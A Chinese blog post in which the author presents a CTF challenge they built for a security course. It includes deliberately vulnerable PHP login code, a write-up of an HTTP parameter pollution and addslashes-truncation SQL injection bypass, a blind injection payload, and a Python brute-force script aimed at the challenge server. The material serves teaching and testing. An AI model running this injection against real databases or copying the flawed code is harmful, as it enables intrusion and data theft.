其他分享
首页 > 其他分享> > 出题(NO.4)

出题(NO.4)

作者:互联网

前言

网络攻防基础课要求出一个CTF的题目,上周就出完了,一直都没写。想想还是要把我出的每道题都记录一下的。

参考

  1. https://github.com/hongriSec/PHP-Audit-Labs/tree/master/PHP-Audit-Labs题解/Day13-16/filesDay13

Day13的讲题和留的题目,有两个知识点
2. 在使用了addslashes()函数之后,又截取了子串,这很可能会导致截取之后的子串将转义后的单引号\'给分开,这样转义的作用也就没有了,可以被攻击者用来绕过转义。
3. HTTP参数污染。算是一个很小的知识点吧。hacker想法就是独特,总是不按规定的路子走。

出题

题目包含两个重要文件index.php login.php,这两个文件中实现的代码的设定是:用户提交的参数在index.php中已经被过滤好了,传递到login.php的参数一定是合法的。在index.php对输入参数检查了是否含有sql的关键字,过滤了非常多,无法绕过,而login.php中只对取到的参数进行了转义,并且对转义之后的字符串进行了转义。

问题在于index.php中取用户参数是通过$_SERVER['REQUEST_URI']取的,login.php是通过$_GET取的,这两者的差异造成HTTP参数污染。

//index.php
<?php
    $request_uri = explode("?", $_SERVER['REQUEST_URI']);
    if(isset($request_uri[1]))
    {
        $rewrite_url = explode("&", $request_uri[1]);
        foreach ($rewrite_url as $key => $value) {
            $_value = explode("=", $value);
            if (isset($_value[1])) {
                $temp = $_value[0];
                $$temp = $_value[1];
            }
        }
    }
    if(!isset($user_name) || !isset($pass_word) || !isset($request_uri[1]))
    {
        die("");
    }
    echo "<script>document.getElementsByClassName('btn_login')[0].click();</script>";
    if(!waf($user_name) || !waf($pass_word))
    {
        echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='Be a cute boy~ Plz :-D';</script>";
        die("");
    }
    else if(waf($user_name) && waf($pass_word))
    {
        $result = file_get_contents("http://127.0.0.1/6954c9b2887c1f177fb8b8ef9a30dfdd.php?".$request_uri[1]."");
        echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='" . $result . "';</script>";
    }
    function waf($string)
    {
        if(preg_match("/^information|union select|,|select|ascii|#|union|\*|%|flag|exp|benmark|sleep|or|as|if|limit|database|substr|mid|hex|char|version/i", $string, $matches))
            return 0;  
        return 1;    // means no hack
    }
?>
//login.php
<?php
    $username = addslashes($_GET['user_name']);
    $password = addslashes($_GET['pass_word']);

    if(strlen($username) > 10)
    {
        echo "Anything more than ten characters in the username is ignored.</br>";
        $username = substr($username, 0, 10);
    }

    $conn = mysqli_connect('mysql', 'class', 'xxx', 'class');
    if(!$conn)
    { 
        echo '</br><span style="color:#444">' . mysqli_connect_error() . '</span></br>';
    }

    $result = mysqli_query($conn, "select * from user where username='" . $username . "' and password='" . $password . "'");
    if($result == FALSE)
    { 
        mysqli_close($conn);
        die("Sql error!</br>");
    }
    /*
    $count = 0;
    while($row = mysqli_fetch_array($result, MYSQLI_NUM))
    {
        $count = $count + 1;
    }
    */
    mysqli_close($conn);
    echo "Error username or password!</br>";
?>

题目的代码就是上面两个。在实际部署题目时,将login.php改为了一个用户无法猜测的文件名(要不然直接访问login.php,参数任何过滤,那就凉凉了)。提供了.index.php.swp.login.php.swp ,可以恢复源码。

WriteUp

题目通过.index.php.swp.login.php.swp拿到源码

拿到版本源码不是最终版本。直接访问login.php是没有该文件的,最终版本里的login.php被命名为一个不可猜测到的文件名。无法直接访问到。

题目实现的逻辑是:输入用户名和密码,后台数据库查询。从源码审计知道,服务器端代码是没有用户名/密码验证通过的选项的。即,没有正确的用户名密码。只能通过sql注入来从数据库中拿到flag

index.php中关键代码为其中的waf函数,过滤掉了所有可能被用到的sql语句关键词。另外还知道,经过过滤后的get参数被传给另外一个文件login.php

login.php文件对传入的get参数做了addslashes的处理,进一步防止sql注入。因为默认传递过来的参数已经经过了过滤,所以没有再做其他防护。而且规定用户名长度不能超过10,超出部分会被截断,直接忽略。

这也是为什么在实际部署时把login.php命名为不能猜测到的文件名。

漏洞点

  1. 通过php的一个特性:php自身在解析请求的时候,如果参数名字中包含空格、.[这几个字符,会将他们转换成_。但是通过$_SERVER['REQUEST_URI']来得到query参数时候是不存在这样的问题的。而index.php过滤是通过$_SERVER['REQUEST_URI']来过滤的,login.php是通过$_GET直接来获取query参数的。
  2. 用户名超出十个字符之后的部分会被截断,但是判断十个字符是在addslashes()函数之后,导致漏洞点。存在123456789'被转义后变为123456789\',截断之后变为123456789\的情况,\就可以被用来转义sql语句中本来的单引号。

payload

?user_name=fda&pass_word=dfasf&user[name=123456789%27&pass[word=or%20(if((ascii(substr(database(),1))=114),1,exp(710)))%23

这样,在index.php过滤时,过滤的是user_namepass_word字段,可以随便输入合法值绕过过滤。
login.php实际接收到的user_namepass_word值为user[namepass[word的值,是没有任何限制的。

实际执行的sql语句是:
select * from user where username='123456789\' and password='or (if((ascii(substr(database(),1))=114),1,exp(710)))#'

通过报错注入,判断不同的页面返回,来猜测后台语句执行结果,从而查询到flag字段的值。(flagflag表的flag字段值)

exp如下:

import requests

url = "http://39.108.217.190:8082/index.php?user_name=1&pass_word=2&user[name=123456789'&pass[word=or(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),1,exp(710)))%%23"

def get_flag():
    result = ""
    for i in range(1, 50):
        flag = 0
        for j in range(32, 127):
            re = requests.get(url % (i, j))
            if(len(re.text) == 2461):  # 需要修改具体数字
                flag = 1
                result = result + chr(j)
                print(result)
                break
        if(flag == 0):
            break
    print(result)
if __name__ == "__main__":
    get_flag()

最后

简单记录。

标签:index,name,flag,NO.4,出题,user,login,php
来源: https://blog.csdn.net/littlelittlebai/article/details/90762369